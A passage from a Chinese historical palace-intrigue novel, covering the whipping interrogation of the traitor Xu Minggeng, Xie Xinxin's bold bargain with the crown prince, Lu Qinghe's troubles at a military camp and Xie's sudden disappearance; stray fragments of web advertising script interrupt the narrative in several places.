她要对徐明庚说的话,最好不要在外人口中落下把柄。 阿凤虽然不懂她的心思,却很向着她,“陆大人新官上任,司中难免有心里不服从的,眼下这个当口,徐明庚是关键的人,眼多口杂,你明白么?” “自然明白,可是……”这人拿眼睛瞟了眼谢辛辛,“诚如此说,陆指挥使正是容易受非议的时候,夫人单独问话,有些不合规矩。” 和三司旗下的军中之人,说话确实不懂的委婉。谢辛辛脸色白了一白,正思索着应策,却听阿凤点头道: “你说的是,是我不周全了。叫那个年轻孩子来等着吧。” “是。” 她要再辩驳,阿凤却给她使了个眼色,“夫人不用担心。我们慢慢进去。” “为何?” “徐明庚所作所为,陆大人皆已禀奏陛下。如今徐狗一介罪臣,人皆可唾,要问话,就晾他一会儿,不着急。” 谢辛辛才知道他的意思,“这是你们的刑讯手段?” 阿凤赧然:“公子让我进殿前司当差,我才学会的。” “哦……”谢辛辛含笑应了,还是说,“但有人听着还是有些不妥……哎?” 后半句话被她自己噎在嗓子里。 那审讯房间里,除了刑架上面目浮肿的徐明庚,还有一人恭敬乖顺地等候在一边,只露出半个侧影,依稀可以见到左脸戴着铁制的覆面。 她想自己或许知道,那半边脸的覆面下刺着什么样的字。 阿凤挥手屏退了闲杂人等,“这里就交给我们两个吧。” 然后转身朝讯房里的人唤了一声:“王九。” 同时,谢辛辛失声叫他:“阿狗?” 房中之人转过身来,不知是不是覆面遮住了他眼里的光,但样貌确实是邺州的熟人。 但他眼中深沉,看起来却和从前不大一样了。 声音也是沉稳很多,“阿凤哥。还有……都指挥使夫人。小人如今随恩人娘子姓王,唤我王九便好,以前的名字,王九不用了。” 阿凤上前拍了拍他的肩膀,“现在不是寒暄的时候。这位是都指挥使夫人,来问话的,今天问了什么,一个字都不要往外说。” 王九点头,抽出腰间的软鞭,“有什么问不出来的,我来帮忙。拿软鬃编成的鞭子浸水,抽在人身上只疼不肿烂,不会吓着她——今日才向副指挥使蒋大人学的。” 谢辛辛还没说什么,捆在刑架上的人却呜呜咽咽起来,房中顿时一股骚臭。徐明庚竟然吓得失了禁。 王九冷冷地看了一眼刑架上的人,猝然一道鞭光,鞭上飞起的水沫溅到谢辛辛衣袖上,谢辛辛一愣,才反应过来王九已经伸手抽了徐明庚一鞭。 王九将鞭子在身边的水缸里浸透又拿起来,口称放肆,“竟敢在都指挥使夫人面前失态。” 她出言道:“阿狗……” “夫人,是王九。” 他转过身来,捋着软鞭,眼里是客气疏离,看着她,像隔着一个残忍的秋天。 王九道:“王九本来是奴,没有自己的名字,夫人知道王九为什么取九字做名字吗?” “不报仇,难为人。” 谢辛辛看到他说这话的时候眼睫颤了颤。 王九转过脸去,覆面之下的眼睛看着刑架之上因受刑而不成人形的东西,眼中流露着沉重的恨意。 像有一根针扎进谢辛辛的肺里,让她忽然觉得,在这个人面前呼吸也刺痛。 不报仇,难为人, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 难道她曾经没有这么想过吗? 如今又何必替他人作叹惋之态。 谢辛辛深吸一口气,点头道: “王九。我们办正事吧。” 讯房中的事情,外面自然是不知道的,只听到里面先是安静,后来响起徐明庚痛哭流涕的求饶,说什么“不要、我不要吃解药”,“但求速死”之类的话,偶尔夹杂着几声令人困惑的“汪汪”。 这种声音持续了还不到一刻钟,徐明庚就安静下来,刑架上拴着四肢的铁链不再哗啦作响。 他最后挣扎道,“叫我向东宫申冤……骗太子出宫,我哪敢……” “怕什么?怕丢命?难道你还想着赵都云救你出去?” “哼……等郡王打进云京……” “那么你作为三次背叛过他的人,会成为他的第一个刀下鬼。” 徐明庚睁大眼睛,“你说什么,两次……没有两次。” 谢辛辛笑道: “第一次,是你中了毒后,归顺陆清和。” 徐明庚连忙摇手,“那是被胁迫,不是归顺。” 谢辛辛歪头看他,“可你在云京横行霸道,动静闹得这样大,陆清和还纵着你。你说是胁迫,赵都云会信么?” 不等他答话,谢辛辛又道,“第二次,是这一次,你在殿前司狱,又将赵都云的罪行供认不讳……” “我没有!”徐明庚大叫道,“这次我什么都没说,我还等着郡王来救我!” 谢辛辛笑了笑:“不管你说了没有,反正殿前司这里一口咬定你说了。你待如何?你觉得赵都云会如何?” 徐明庚一愣,随即恨道,“卑鄙!啊啊啊啊!” 是王九又打了他一鞭。 “所以,你进了这里就出不去了,横竖你没有选择。” 谢辛辛颇为善解人意地对徐明庚解释,“眼下你身上有毒血,放着你不管,你会自己磋磨死。若死在殿前司手里,千刀万剐,也不好过。届时他们想好了你的罪名,将你傩送宫中,轻也是五马分尸。但你配合我一次,世上就没有比我答应你的死法更痛快的。” 徐明庚嚣张了半生,没想过自己会落得这个这个下场,只能在几个悲惨的死法之中选择痛苦最少的那个。 他想叹气,可王九不容许他用这样有尊严的方式表达情绪,鞭子落下,叹息变成了哭声。 “成。”徐明庚露出一个惨烈的笑,“至少比落在这个小杂种手里强……” 话音未落,王九作为这个“小杂种”本种,又是一鞭。 这次,徐明庚已经痛得发不出喊叫,哑着嗓子,“和他们说吧,我有东西要禀告东宫太子。事关云顺郡王,事关大皇子……” 谢辛辛瞪了他一眼,“你这什么都没说,太子能来么?” “别打……!” 眼看着王九的手抬了起来,徐明庚忙叫住他,一咬牙。 “行!我说!” “去叫人告诉太子,若想知道大皇子如今身在何处,就来司狱见我。我将死之人,绝无虚言。” 84.见东宫 传话的事就交给殿前司去办了。谢辛辛与阿凤二人一路回程的时候,阿凤讲了王九的来历。 托小绿茱和王娘子的照顾,王九醒转过来之后,勉强养好了身子。虽然王娘子念他年纪小,不让他帮衬什么,但王九是个实心的孩子,总觉得平白被两位娘子养着。 有一日,王九见小绿茱在家开灶短了米,心里有愧疚,就偷跑出去想卖点力气。谁知被人看见了他脸上的黔字。 一来二去,王九才知道,当年是李贵在王府里侵犯了女人,谁知道那女侍是王妃身边的,王妃要严查,李贵就拿王九去顶了包。 他是这样,铁厂里那些枉死的大哥不知有多少也是这样。王九查明这事后就变得沉默寡言,一日,央了王娘子给陆清和写信,说王九心里有了志向,想要跟着陆公子办事。 谢辛辛听了唏嘘了一阵,“穷且益坚,倒是很好。可我见他,竟是已经心性大变了……” 阿凤不爱揣摩人心,接不上谢辛辛的话。 她的叹息便如天上张翅划过的雁,在空中只落下一道悠长的云影。 太子那儿一日没有回音,谢辛辛便一日不安宁。 可巧院子里来了两封信,一封是茗琅写来的,说边青昙已经出狱,但不知道到哪里去了。 云顺郡王举兵仓促,竟然顾不上玉春楼就走了。 不过,云顺郡王的立场不明朗,宣王府又没有主心骨,玉春楼一直以来仗着王府做生意,眼下倒是减淡很多。但茗琅已经将谢辛辛拿回来的谢家其它铺子打点过一遍,细碎的银子林林总总加起来,收入很是可观。 但掌柜的什么时候回莲州来呢? 谢辛辛心头紧了紧,翻到信纸背面。 茗琅又说,不回来就不回来吧,都在云京住上大宅子了,还回来做什么,什么时候把她和刘宛接去京城才是有心呢。 她会心一笑,心上久日所积的阴霾便散去大半。 另一封,刚拿到手就有淡淡的甜香,翻来覆去地看,才发现玄机是笺纸上压实了的几朵桂花。 果然是陆清和的。 日前谢辛辛将自己见太子的计划写在信中告诉了陆清和,此后便一直在企盼着他的回信。眼下信笺已倒,她却有些不敢打开了。 怕他为难中应下,又怕他不信任自己,驳回自己的提议。 可信纸展开,信中只说,山下地势低平温暖,所以云京不开了的桂花,竟然能在十常山脚见着,实在难得。大军戒备正当时,不可擅离职守,为此随信寄附情义,言短辞陋,望君珍重。 通篇下来,竟然对她所写之事未做一丝回应。这更让人忧心。 她想立刻回信去质问,可又怕信中不提是他刻意为之,可能有什么玄机。 只得将信纸抻展开,铺平了压在砚下,隔几日,就拿出来字里行间的看,总怕自己遗漏了什么。 一日冬风压树,外面传来消息,听说赵都云进京的路上竟遭到一个普通农户刺杀。谢辛辛咋舌之余,感叹如今的百姓竟比为官者还分是非。 阿凤扯完闲篇打了个寒噤,念叨了一句,该换厚褥子了,可他不懂照顾人,该不该去北瑛王府里找婢女姐姐帮忙偷一套出来。 却听谢辛辛没头没脑道,“不知山脚下是不是还那么温暖。” 就在这时候殿前司传来消息,说有司中有贵客驾临。 如此讳莫如深,多半是她等着的那位东宫的贵客了。 机会只有一次。她心一横,仍是上了去殿前司的马车。 太子一人之下,也是陆清和等一介清流心中,将要成为的万人之上。殿前司虽然尽力提前通知,谢辛辛也不敢怠慢,整了仪容便与阿凤前去讯房等候。 却没有想象中的声势浩大。谢辛辛隔着讯房的门缝向外觑看,只有气度通身的公子带着两名仆从,刚一进司中,殿上便寂然跪下了一片。 不等多观察,那人没有多寒暄,轻轻一拂袖,直奔讯房而来。 见殿前司的人退了下去,太子的人正要开门,谢辛辛却主动迎了出去,小声引他去另一边的空房。 “殿下,这边请。” 太子随侍低喝道:“你是何人?殿前司中为何会有一个女人?” 阿凤将谢辛辛微微挡在身侧,“殿下赎罪,这位是新人都指挥使陆清和的夫人,有要事向太子禀报。” 随侍去看太子的眼色,却没等到示下,正犹豫着,太子忽然道:“陆清和,与孤有几面之缘。” 说完,迎面对上了谢辛辛的眼睛。 她被这眼里审视惊得怔了一瞬,很快收回视线,低下头道:“……谢殿下。” 另一件讯房,陈设和关押徐明庚的这间别无二致。只是审问的座案上坐着的变成了太子,而她于阿凤跪在案下,却像受审的刑犯一样。 她中衣微微浸了冷汗。原以为玉春楼迎来送往,自己作为掌柜也算见惯了大人物。今日太子却像是一道霜雪,和他共处一室中,让人心脚都生寒。 不合时宜的静默之后,太子却浅笑了笑: “设计将孤引来,为何不说话?” 简单的一句,使她的心机一下暴露在空气里。她知道,此时再遮掩便是不识趣儿了。 所幸直言道:“妾是有意将太子殿下引来不假,但徐明庚所言,大皇子不在宫外之事,也是实情。” “妾斗胆,想为太子殿下奉上一场合作。” “合作?”太子挑起眉毛,哂然道,“若是合作,哪有先将筹码先亮出的道理?在孤看来,你是有求于孤,不得已逼了徐明庚一把。” 她跪伏的身形一僵,既而松了口气。 “太子殿下洞隐烛微,是妾狂妄了……” “孤的时间不多,你想要什么,为此能付出什么,毋需委婉,直言便是。” “妾想要的,是北瑛王府全身而退。为此,我与陆指挥使,可为殿下扫除前路碍脚的荆棘。” “抬头。” 谢辛辛应声抬眼,却见太子饶有兴味地看着她,心头一紧。 太子眼中是寒凉的笑,“你,是说要谋害皇子?” 没想到太子竟把话说的如此直白,谢辛辛登时有些惶然,还是壮着胆子,“妾不敢。妾只听说,大皇子贪玩,少年玩性太盛,难免伤着自己。” “妾素闻太子殿下才德兼备,而大皇子难成体统。陛下却容着朝上两党争得水火不容……太子聪敏,应该想过缘由。” 无非是皇帝不愿放权东宫,为此,不惜扶持一个浑球皇子,和太子鹬蚌相争罢了。 “妾相信,天命不来就我,我也可以去就天命。太子殿下觉得呢?” 好一个天命不就我,我去就天命。 “就凭你这句话,孤现在就可以杀了你。” 谢辛辛直起半身,却不见了惶恐,字字铿锵道: “妾命如蜉蝣,哪怕死在再烈的火中,雨水冲刷后,也不过浮尘半两耳。妾生、妾死;陆家生、陆家死……对太子殿下而言,皆只是一念之间。 “既然都是一念之间,太子为何不拿浮尘搏黄金万两,拿蜉蝣搏无上天尊?” 太子不语。 眼前这女子炽热的言语和目光,几乎要灼伤他这个在一方宫殿中守拙已久的东宫太子。 他确实动摇了,却莫名痛恨她这样灼热。想了片刻,终于想到她并非无懈可击。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “你想帮陆清和……”太子起身。金蟒缎靴落在谢辛辛的眼前,“但你有没有想过,陆清和这个人,其实不在乎北瑛王府的存亡。孤认识他,北瑛王府的庶子,是个不受宠的孩子。” 谢辛辛确实被这句话击中了。 她抬头盯着他,因为跪在地上,视线由膝而上,像极了怒目。 盯了许久。太子微微扬了扬嘴角。 可这女子,忽然也笑了。 “妾这辈子,最讨厌的,果然还是你们这些王公子孙。” 太子随侍拔刀顿时暴呵:“大胆,口出狂言。” 太子却拂了拂手,皱着眉问她:“你要说什么?” 谢辛辛跪着,冷笑却像从高处传来: “身居高位,俯瞰世间,天下朝局皆在你们翻云覆雨之间,只有这样的人,才能心怀天下。而在市井之间汲汲求生的百姓,应当所求不过口腹情欲,贪且嗔痴。太子殿下,你也是这样想的吧?” “妾莲州谢氏,商户之女,上辈子积德外加上今天昏了头,才得见太子殿下真颜,满心所求,不过是为了情郎的家人的命运。太子殿下,你是这样想的吧?” “陆清和,失宠庶子,为争权逐名,不惜自请入局,他对于北瑛王府,应当恨极怨极,恨不能在殿前司都指挥使的高位上坐看王府颓败,已报童年不受宠之仇。太子殿下,你莫非是这样想的?” “可是殿下,你想错了,你看错了百姓,也看错了陆清和。” “百姓虽不通政务,却知道,戍边的将军是守国卫家的好官,倾轧良田、抢占民女官吏是虎狼。而好官该活,虎狼该死。” “妾虽酒家掌柜,也知道陆清和出京,多半是要和赵都云打一仗。这一仗,和北瑛王在东洋要打的仗又不同,是自己人打自己人,打给陛下看的一场仗,却要打得你死我活……” 太子听她长论,眉宇间黑气愈浓,却似乎并不为她的妄语而生气,伸出一只手拦着护卫:“让她说下去。” “那么,妾再说说陆清和吧。” “太子殿下,你若认识他,便知道他是清秋飞鸿,昂昂之鹤,心里岂容龃龉肮脏?妾说的严重一些,哪怕北瑛王府将他逐出家门,他也会说,陆大将军和少将军为国而战,不该绝命。” “妾结识陆清和以来,不过半载秋冬,从未听他提起家宅之事。他这个人,淡薄一身,只有在路遇奸贼赃官时才流露些愤懑怅惋。他要争权,不是为了将陆宅踩在脚底,少年志向,只为进思尽忠。” “殿下仁德广备,若承大统,自然要天下归心。殿下若再说那样的话,实在容易让黎民、让人臣寒心。” 她语罢,将头贴在司堂的地面上,久久不再抬起。 铮铮之言,似一口铸铁之鼎,倒扣在大殿之上。 一时竟然无人敢言。 此时她不是不愿抬头,而是一口气说完了许多话,才发现自己脖颈僵硬,心跳如鼓。 这一番大逆不道的谏言说完,额发早已被暴汗濡湿。 面对东宫太子,她一商女,自然是怕的。 可此时若是抬头,一定会露怯。她不能露怯。若不是用头死死将手掌压在地上,怕是连手指都会颤抖。 多顷,太子突然朗声而笑。 “小娘子好锋利的嘴。陆清和若娶了你,怕是有得苦吃了。” 谢辛辛脊背一凉,“殿下,妾已经是都指挥使夫人了。” “好了。”太子摆手道:“你很会说话,但不会演戏。从未听说过哪家夫人是你这样不知分寸的。” “可是,据孤所知,你非但不是陆指挥使的夫人,甚至陆指挥使,也并未应允你这一套计划。” 85.各自谋 谢辛辛悚然。 东宫连这么细微的消息都知道,简直像在她身上放了一只眼睛。 再想到陆清和那封空有情意的回信,像极了是为了掩人耳目。 她只觉得可怖,强撑道:“殿下何出此言?” 太子莞尔道:“你觉得,从禁军营帐中寄出的信,会经多少人的手?紧要关头,殿前司都指挥使,可不能亲自骑马出营寻递铺。” 是了,这便是陆清和的回信写的如此冠冕堂皇的缘由。紧接着,她也明白了这位太子的手段。不怪他早就知道自己是冒牌的指挥使夫人。 “可是殿下,陆清和在信中已经应允我了。” “不可能,孤亲自看了那封信。” “那么太子应当也发现信中所用纸笺的特别之处了?” 太子眼底微动。 “这种笺纸,在外头很难买到,应当是他自己收集竹条制成帘床纸模,再将桂花压在纸浆中,凝固成的压花纸。信上共压了八朵丹桂,落在信中各不相干的八个字上。” “这八个字,分别是,义所当为,虽难不辞。” …… “义所当为,虽难不辞啊……” 军营不比王府中,没有精铜暖炉,只有一个像是烘烤杂饼用的铸铁炭盆。可气候寒冷,连火星子好像都冒着冷意,啪一声就消散了。 都头进来蹭了蹭炭盆的热度——他的师父跟着陆佗当过兵,因而他也算是禁军之中,最快接受了这位天降指挥使的人物了。 毕竟陆清和缺少指挥带兵的经验,空有陆佗大将军和陆景明少将军为其背书,底下的兵士并不是各个都信服了他。 但都头相信陆家的子孙,才为他此刻唐突地上任惋惜。若是像陆景明一样踏踏实实地建了军功,再到这个位置上便没有这么多麻烦了。 想着想着,不免怜惜这位陆家二公子,都头将脑袋伸过去:“陆大人,您方才叨咕什么呢?” 陆清和醒过神来,笑了笑,“没什么。” 还没正式入冬,陆清和裹上了厚厚的皮毛大氅。 “都头此时来,是有什么话说?” “哦,也没什么。指挥使之前不是让我打探王爷那边的消息么?有信传来,王爷一战告捷,东洋人已经偃旗息鼓,不再骚扰边境了。只是宫中似乎没有要让王爷回来的意思……” “咳咳。” 陆清和想叹气,浊气却卡在喉里。 都头皱巴着脸,“指挥使,您这身子到底是怎么了,畏寒不说,近来瞧着愈发虚了,也不让军医看看?” “将死之人了,军医看了不管用,御医看了才管用呢。” “您这话说的,大敌当前,死不死的,没的晦气。” 都头只当他口无遮拦,没把这话放在心上。 陆清和展开军情舆图,招手让他过来。他对行军还是有许多不懂的地方,两人就军阵讨论了一阵,陆清和忽然提到,“都头,云顺郡王带兵进京了,你知道眼下是什么局面么?” 都头的神情严肃起来:“街巷黄口小儿都在议论,下官身为殿前司禁军都头,怎么能看不出来?怕是……问责太子殿下只是幌子,实际上,是要兵变吧?” “陛下怎么说。” “据说大皇子失踪后,陛下曾召两位皇子问书,太子答大皇子殿下抱恙未起。故而陛下认为,大皇子殿下失踪,太子殿下确实有嫌疑……” “呵。”陆清和笑声凉得像冰上的白气,“外头的反贼都准备逼宫了,陛下还在查大皇子殿下失踪的事,你觉得合理吗?” 都头大惊失色,摇头道:“大人慎言。皇子失踪,也绝非小事啊。” 陆清和叩了叩指节,“那么要是大皇子找回来了该如何呢?” “那么……”都头眼神迷离了起来,想了半天,“这仗就没理由打了?” “不错。都头觉得云顺郡王会让此事发生吗?” 都头一怔:“……不会?” 陆清和点了点头,将椅子拖近了炭盆暖手,不再问了。 一番话下来,都头心中许多事将明未明,有些仓皇,“大人您的意思是,我们应当先找到大皇子殿下的所在?” “殿下的所在只有一个可能。” 陆清和打断了他,“所以,让军中有些人不要再妄生避战的念头。这一仗,非打不可。跟他们说,无论信不信我,要么,现在请命,我可以让他们回云京。要么,跟着我建功立业,保国安民。” “我只给他们一次选择的机会。” “大人……”都头欲言又止,“下面的人嘴上没门,大人听见什么,别往心里去。” “我不往心里去。”陆清和摇了摇手,温和向他,“你叫他们把我那番话往心里去。” 轻言轻语,有无边威压。 使都头浑身一震,暗暗佩服,领命而出。从此军中流言蜚语渐渐也没了后话。 他也可以收拢心绪,将心思放到谙读兵法上。 却没想到一波刚平一波又起,这回都头急匆匆地掀帘子进帐: “大人,走苕江来送粮草的厢军遭袭了!原计送来的十万石军粮,所剩不过三成。” 陆清和正在书写,听了将笔一掷:“什么人袭击厢军,查到了吗?” 都头摇头:“来袭之人用的船像极了货运的大型民用舱船,厢军才会掉以轻心。那船似乎不为抢粮,击沉了厢军的漕运船之后,将自己的船也一把火点了,船上全是死士,什么痕迹都没留下。” “苕江……”陆清和沉默了一瞬,只要那么几息的沉静,心思就一点一点通达起来,“在莲州养的兵,水性自然是好的。” “大人,您的意思是……” “是我缺乏经验,没考虑到军粮运输的路线。咳咳……” 都头望着这个面色愈发苍白的人,眼中不免有担忧,“大人何必将责任都揽在自己身上,当务之急,是解决军粮的问题。如今还未开打,军中余粮十万石,勉强加上这三万石,还能坚持十天……我现在传军信,叫云京开仓调粮。” “好。”陆清和点头应道,“十天……算起来云顺郡王这几日就要到了。从我们所在外城至京中,来回四日,算上信使脚程,十天,足够了。……还好没有酿成大祸。” 临要走,都头转头,犹豫再三还是嘱咐了一句: “陆大人,恕属下失言,您身体再不适,出去巡兵的时候切记不要表露出来。咱们习武之人,身上都有气焰,谁的气焰高,谁就容易当将军……大人,你明白我的意思吧。” “我明白。”陆清和肃了肃身子,叹气道,“多谢。” 等都头的影子像一张翻过书页一般消失在了帐帘之后,他才将眉眼拧在一起,愈来愈凝重。 赵都云既然起了断军粮的心思,一定也是带着杀意来的。而且,他不会想不到殿前司还可 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 以从京中调粮的路子,恐怕这时候,京中的储粮官早就是赵都云的人了。 赵都云不会给他机会回京处理,按估算,叛军多半是明后天就要抵达了。 十天,先不说这十天,能不能打赢这场仗,他没有十成的把握。 最重要的是谢辛辛传来的信。 这十天,能否弄清楚大皇子被他藏在哪里,如果大皇子真的被赵都云藏在身边,怎么逼使他让大皇子露面。 这才是个问题。 门外忽有兵士传音: “陆大人,外面抓了一个人,自称是云顺郡王先遣之来使,负责谈议云顺郡王进京之事。” 果然。 先遣了人来,不知有什么诡计,他作为都指挥使就不便离军了。 他便道:“押进来,我听听他要说什么。” …… 云京这厢,谢辛辛抚摸着院子里的一草一木,细细琢磨着太子临走前的一番话。 “你说的,孤会考量。孤答应你,若你办成此事,孤可以保下陆家。可,代价你想好了吗?” “谢氏,你就这么替陆清和做了打算,可真是叫他,万劫不复了。” 她知道太子是什么意思。对皇子不敬者,在史书上多半留不下什么好名声。这个谋划最好的结局,也和陆清和所追求的臣子之途相去甚远。 可多少算是得到了太子的承诺,她紧绷的脊背松了下来,抬起头道:“妾会想办法让这件事做的漂亮。” 彼时,太子望着她,见她眼中跳动着殿堂四壁炽热的烛火,如烁石流金,熠熠生光。 “谢掌柜,你摸什么呢?”阿凤用脚顶开大门,手里抱着一床厚厚的丝被,“看我从北瑛王府中公子的卧房里拿出来的丝锦被子,可暖和了,等我洗干净给你用。” 她抬眼笑他:“你‘拿’出来的过程有人看见你了吗?” 阿凤扬了扬眉毛,“哪能呢!”,就要用脚将大门带上。 “不用关了。”谢辛辛出声拦住他,“你去后院收拾这些被子,我一会儿将落叶扫出去再关门。” 阿凤应了声好,熟门熟路地绕过了主屋。这样一来,完全隔绝了前院的视线。 将将打好井水,要将丝被浸在水里浣洗,阿凤忽然想到如今不是在南方了。这在云京的冬天用冷水洗被子,晾一整天,也不知道是先晾干还是先冻成大冰块儿。 “还好我机敏。”阿凤笑着自夸了一句,就提脚去前院找灶台烧热水。 前脚踏进了伙灶房,隐约觉得有些不对劲,又将脚收了出去。阿凤左右望了一眼,院子里空空荡荡,没有了谢辛辛的踪迹。 是丢落叶去了吗?阿凤翻身跃上桂花树,四下出了呼呼的风,连个人影也没有。 他当下有些慌了,跳回院子里喊了一声,“谢掌柜!你在屋里吗?” “谢掌柜?!” 厨房不见,主屋厢房不见,前院后院都不见。阿凤一颗心悬到了嗓子眼,心头还抱着一丝侥幸,想着谢掌柜可能是想到什么东西没买,出门去了。 直到阿凤发现小石桌上,用他那枝最直的树枝压着的一封信。 他将信拿起来,一颗心悬到了嗓子眼,快速地将信扫完,心里却凉了半截。 完蛋了,谢掌柜一个人跑了。 谢掌柜一个人深入虎穴去了! 他阿凤跟了公子这么多年,这下主仆之情可能也要完了! 86.谍与俘 云京的天冻成一块冷硬的冰,相比之下,南方的冬风就像潮气一样有人情味的多,无孔不入地侵袭着每一个莲州人的关节。 玉春楼的厨灶烧得暖烘烘的,正好驱赶了寒气。只是往日十余帮工们几乎都解散了,厨傅们无事可做,自己洗菜择菜打发时间。 自打赵都云带兵入京,莲州的大小官绅看尘埃未定,看不出宫中和赵都云谁的胜算更大,都想着避嫌,于是几乎都不再往玉春楼来了。 玉春楼的食客便只剩下平常往来的普通商户百姓。这么些人,特意来酒楼用早餐的也不多,冬日的清晨,烧两锅酸笋鸡汤小馄饨,足以应付,倒也清闲。 外头北风交加,厨房里炉灶暖融,大厨傅渐渐有了困意,开始小鸡啄米似的点脑袋。 突然地一激灵,不知哪来的叮铃哐啷敲锣打鼓之声。 正收拾台面的茗琅最先反应过来,下意识道:“什么情况,外面有人来砸店?” 谢辛辛离开莲州之后,茗琅时刻紧张着宣王府的人伺机报复,知道赵都云出了城才略松一口气。 这会听外头动静那么大,茗琅不由戒备。 “来两个男人跟我去门口看看。”茗琅随手指了两个健壮的,“再去个女孩子,到院子里陪刘宛娘子说话,她在后头浣衣呢,别让她出来。” 各人拿了趁手的家伙事,近了大门,果然响声震天。茗琅深吸一口气,做足了心理准备,猛地将门一推—— 一阵震耳欲聋地锣声。 她捂住耳朵连退两步:“怎么是你这个……” 喧天锣鼓中,门外站着个神采飞扬的公子,看着她啊了一声,大声道:“你说什么?我听不见!” 茗琅翻了个白眼,用了最大的力气吼他: “怎么是你这个笨鸡!!!!” 公子听见了,脸即刻委屈地皱成一团。 整个奏乐的队伍的也都听见了,怔怔地停了手。 “大胆!”锣手的嗓子也像个破锣,此刻狐假虎威,在茗琅面前叉着腰,“庶民敢对郑大人不敬!” “什么大不大的,这不是郑府那个不读书的郑公子么。”茗琅不耐烦将门关上,却被郑瑾瑜一只脚卡住。 “连郑大人都不认识?”锣手拖长了声音,“郑大人殿试高中,如今是在京中的翰林院当职,现在是荣华富贵,衣锦还乡——” 茗琅盯着他,“我管你什么官,郑公子,是不是想让我说说你之前在玉春楼仗势欺人,污蔑我……” “哎哎哎!!” 郑瑾瑜冲上去捂住她的嘴,“我错了,好姐姐,眼下正是我风光的时候,你给我留点面子成不成?” 他冲后面摆手,“散了,都散了!” 那锣手笑眯眯哎了一声,“郑大人,赏钱呢?” 一人领了郑瑾瑜手里一块银锭子,这群闹腾的锣鼓手顿时作鸟兽散。 郑瑾瑜清了清嗓子:“你们谢掌柜呢,我这体体面面地过来了,她怎么不出来迎接我?我请锣鼓大队的银子都白花了。” 茗琅一顿,“她出了事,躲云京去了。” “哪儿?云京?”郑瑾瑜瞪大眼睛,“真的假的?我才回来?哎呀早知道我在云京就去找她了她住哪里啊怎么在云京都不来找我玩那个陆清和也是的我京城才知道他是北瑛王府的二公子竟然一直瞒着我……” “好啰嗦……”茗琅将耳朵折起来,深觉此人一张嘴抵得上锣鼓手二十人。 “这是她住处,你自己去找她吧。” 郑瑾瑜拿了纸条,乐呵呵地收了声,临走前又道:“需不需要状元郎帮你们玉春楼宣传宣传啊,我如今这个诗啊……” “滚。” “好的。” “……等等,郑大人。” 听她改了口,郑瑾瑜转过头来,笑嘻嘻地问:“什么事?” “郑大人。”茗琅竟然低头行了一礼,“你如今在京中做官了,掌柜的如果遇到麻烦,帮帮她。” 郑瑾瑜愣了愣神:“那是自然。谢掌柜是我好友。” 他急着回来,也是听说赵都云起事,怕朝廷牵扯到宣王府,玉春楼也不安全。他作为京官露一次面,本地的官户若要办差,多少会顾及到一些。 啪的一声,门就在他眼前合上了。 郑瑾瑜笑了笑。 目前看来是安全得很。 今日不同往日,如今人人都喊他郑大人,除了玉春楼,他不知道还能在哪里做郑瑾瑜。 孟安流官,姑姑跟着她回了莲州郑家,全心地培养他考试。郑琢玉白天给他讲书,晚上替书馆抄字卖一点银钱贴补家用。 见姑姑这样清高的女子这样辛苦,郑瑾瑜再不敢浑浑噩噩,渐渐把书也读出了几分真味,再思及和谢辛辛、陆清和一起见过的人间疾苦,竟有了通悟之感。 殿试一举得中,本以为能一全壮志,却因为徐明庚牵头的几份刻意贬低的奏折而得了个少傅的虚衔。 一同在朝为官,他偶然见过陆清和一面。陆清和只说不要急。 郑瑾瑜心想,急急急,我急什么呢?当然不急。 只不过就是无颜面对姑姑、也不敢回去见好友罢了。哎,昔日在莲州乘一辆马车的人,如今一个风光无限,一个空有虚名…… ……虽说陆清和当时看起来就很威风了。 未料到不到一日,徐明庚竟然被殿前司抓了。 徐明庚出事落马,和徐明庚对立的官员便像弹压过的牛筋一样蹦窜了起来。徐明庚写过的奏折,简直成了被他詈骂过之人的荣书,包括郑瑾瑜在内的几个倒霉蛋即刻升了官,他也得以进翰林院做了个修撰。 此时不衣锦还乡,还等什么时候?可惜姑父身在乡野,莲州也好友不再…… 郑瑾瑜顿时觉得衣锦还乡也乏味了起来,没在莲州待几日,接上了姑姑就返回京中。 他性子急,实在等不到第二天,刚收拾了行李,就按茗琅给的地址去找谢辛辛。结果宅邸昏暗,连灯笼也没点。 阴风穿堂,郑瑾瑜胆子一下子瘪了下去,小心地叩门: “有人么?谢掌柜?谢辛辛?才将将戌时,不会睡了吧?” “好像是睡了……” 他失望回身,正准备离开,一道冷光破空而来,冰凉的薄刃抵上他的脖颈。 “小偷!敢在我面前鬼鬼祟祟!” 熟悉的声音,熟悉的匕首,熟悉的压迫感。 阿凤莫名其妙地看着眼前这人在自己威慑下露出安然的笑容。 “是我呀大哥,是我郑瑾瑜!我找谢小掌柜!” 阿凤眨了眨眼,借着月光在匕首上的反 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 光细看郑瑾瑜的脸。 郑瑾瑜乖顺地将脸凑上去。 “……别这样。”阿凤嫌弃地伸手挪开他的脸,“撅嘴干什么,看起来怪恶心的,我没有那个意思。” 郑瑾瑜:“……我也没有那个意思。” “你来的正好,谢掌柜失踪了。” “啊?失踪?我有这么正好?” 阿凤叹气,将信封递给他,“今日才失踪,但她却给你留了信。我本不知这封信是给谁的,白天去了信上写的地方,一问才知道原来是郑瑾瑜郑大人的宅子。” 这声郑大人听得郑瑾瑜很是受用,弯腰真诚道:“大哥,哪怕我才华横溢,飞黄腾达,前程似锦,你也还是我的大哥。” 阿凤都有些忘了自己什么时候开始成了他的大哥,看他的眼神只有深深的怀疑。 这样不靠谱的人是怎么中举的?真不知道谢小掌柜为什么要给他留信…… 谁知郑瑾瑜看着看着脸色变了,抓住阿凤的肩膀摇晃:“她怎么会牵扯进朝堂政事的?” 阿凤掰开他的手,“我不懂,你别问我。她之间就常和公子两个人嘀咕半天,谢小掌柜如今对宫里的事很是熟稔,前几日,还偷偷见了太子。” “还偷偷见过太子了?”郑瑾瑜皱了眉,思索片刻,脸上渐渐沉静。 如今他身上正背负着给太子讲学的工作。难怪谢辛辛会找上自己。 郑瑾瑜咬牙道:“我欠她的吗……敢叫我教唆太子,她是生怕我命太长,是不是?” 